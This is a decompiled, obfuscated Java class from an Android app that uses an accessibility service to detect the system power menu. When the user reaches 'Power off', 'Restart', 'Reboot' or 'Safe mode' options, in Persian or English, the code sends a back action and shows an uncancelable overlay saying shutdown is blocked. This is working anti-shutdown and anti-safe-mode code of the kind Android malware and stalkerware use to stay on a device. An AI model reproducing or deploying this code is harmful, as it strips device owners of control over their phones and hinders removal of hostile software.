package o;

import android.app.AlertDialog;
import android.content.DialogInterface;
import android.os.Handler;
import android.os.Looper;
import android.view.Window;
import android.view.accessibility.AccessibilityEvent;
import android.view.accessibility.AccessibilityNodeInfo;
import ir.devixor.app.accessibilityservice.AccessibilityService;
import java.util.ArrayList;

/* compiled from: r8-map-id-3b7cc9102578c509342fa2f0fabed2bfc72239cd258d579fc679bfcbc198b048 */
/* renamed from: o.aY, reason: case insensitive filesystem */
/* loaded from: classes.dex */
public final class C0720aY {
    public AccessibilityService a;
    public AlertDialog b;
    public long c;
    public final Handler d = new Handler(Looper.getMainLooper());

    public final void a() {
        long jCurrentTimeMillis = System.currentTimeMillis();
        if (jCurrentTimeMillis - this.c < 2000) {
            return;
        }
        this.c = jCurrentTimeMillis;
        AccessibilityService accessibilityService = AccessibilityService.r;
        if (accessibilityService != null) {
            accessibilityService.performGlobalAction(1);
            this.d.postDelayed(new RunnableC2108p1(15, accessibilityService), 100L);
        }
        d("⚠️ خاموش کردن دستگاه مسدود شده است.");
    }

    public final void b(AccessibilityNodeInfo accessibilityNodeInfo) {
        try {
            if (accessibilityNodeInfo == null) {
                return;
            }
            try {
                ArrayList arrayList = new ArrayList();
                arrayList.addAll(accessibilityNodeInfo.findAccessibilityNodeInfosByText("خاموش"));
                arrayList.addAll(accessibilityNodeInfo.findAccessibilityNodeInfosByText("راه\u200cاندازی مجدد"));
                arrayList.addAll(accessibilityNodeInfo.findAccessibilityNodeInfosByText("بوت مجدد"));
                arrayList.addAll(accessibilityNodeInfo.findAccessibilityNodeInfosByText("حالت ایمن"));
                arrayList.addAll(accessibilityNodeInfo.findAccessibilityNodeInfosByText("راه اندازی مجدد در حالت ایمن"));
                arrayList.addAll(accessibilityNodeInfo.findAccessibilityNodeInfosByText("Power off"));
                arrayList.addAll(accessibilityNodeInfo.findAccessibilityNodeInfosByText("Turn off"));
                arrayList.addAll(accessibilityNodeInfo.findAccessibilityNodeInfosByText("Shutdown"));
                arrayList.addAll(accessibilityNodeInfo.findAccessibilityNodeInfosByText("Restart"));
                arrayList.addAll(accessibilityNodeInfo.findAccessibilityNodeInfosByText("Reboot"));
                arrayList.addAll(accessibilityNodeInfo.findAccessibilityNodeInfosByText("Safe mode"));
                arrayList.addAll(accessibilityNodeInfo.findAccessibilityNodeInfosByText("Safe Mode"));
                arrayList.addAll(accessibilityNodeInfo.findAccessibilityNodeInfosByText("Reboot to safe mode"));
                int i = 0;
                if (arrayList.isEmpty()) {
                    int childCount = accessibilityNodeInfo.getChildCount();
                    while (i < childCount) {
                        AccessibilityNodeInfo child = accessibilityNodeInfo.getChild(i);
                        if (child != null) {
                            b(child);
                        }
                        i++;
                    }
                    accessibilityNodeInfo.recycle();
                    return;
                }
                int size = arrayList.size();
                while (i < size) {
                    Object obj = arrayList.get(i);
                    i++;
                    ((AccessibilityNodeInfo) obj).recycle();
                }
                a();
                accessibilityNodeInfo.recycle();
            } catch (Exception e) {
                e.printStackTrace();
                accessibilityNodeInfo.recycle();
            }
        } catch (Throwable th) {
            accessibilityNodeInfo.recycle();
            throw th;
        }
    }

    public final void c(AccessibilityEvent accessibilityEvent) {
        String string;
        String string2;
        if (accessibilityEvent == null || accessibilityEvent.getEventType() != 32) {
            return;
        }
        CharSequence packageName = accessibilityEvent.getPackageName();
        String str = "";
        if (packageName == null || (string = packageName.toString()) == null) {
            string = "";
        }
        CharSequence className = accessibilityEvent.getClassName();
        if (className != null && (string2 = className.toString()) != null) {
            str = string2;
        }
        if (!Za0.P(str, "GlobalActions", true) && (!string.equals("com.android.systemui") || (!Za0.P(str, "GlobalActions", true) && !Za0.P(str, "PowerUI", true) && !Za0.P(str, "ShutdownDialog", true)))) {
            if (!string.equals("android")) {
                return;
            }
            if (!Za0.P(str, "GlobalActions", true) && !Za0.P(str, "ShutdownDialog", true)) {
                return;
            }
        }
        this.d.postDelayed(new O3(16, this, accessibilityEvent), 150L);
    }

    public final void d(String str) {
        Window window;
        AlertDialog alertDialog;
        AlertDialog alertDialog2 = this.b;
        if (alertDialog2 != null && alertDialog2.isShowing() && (alertDialog = this.b) != null) {
            alertDialog.dismiss();
        }
        try {
            AccessibilityService accessibilityService = this.a;
            if (accessibilityService == null) {
                accessibilityService = null;
            }
            AlertDialog alertDialogCreate = new AlertDialog.Builder(accessibilityService).setTitle("🔒 عملیات مسدود شد").setMessage(str).setPositiveButton("متوجه شدم", new YX(0)).setOnDismissListener(new DialogInterface.OnDismissListener() { // from class: o.ZX
                @Override // android.content.DialogInterface.OnDismissListener
                public final void onDismiss(DialogInterface dialogInterface) {
                    this.l.b = null;
                }
            }).setCancelable(false).create();
            this.b = alertDialogCreate;
            if (alertDialogCreate != null && (window = alertDialogCreate.getWindow()) != null) {
                window.setType(2032);
            }
            AlertDialog alertDialog3 = this.b;
            if (alertDialog3 != null) {
                alertDialog3.show();
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
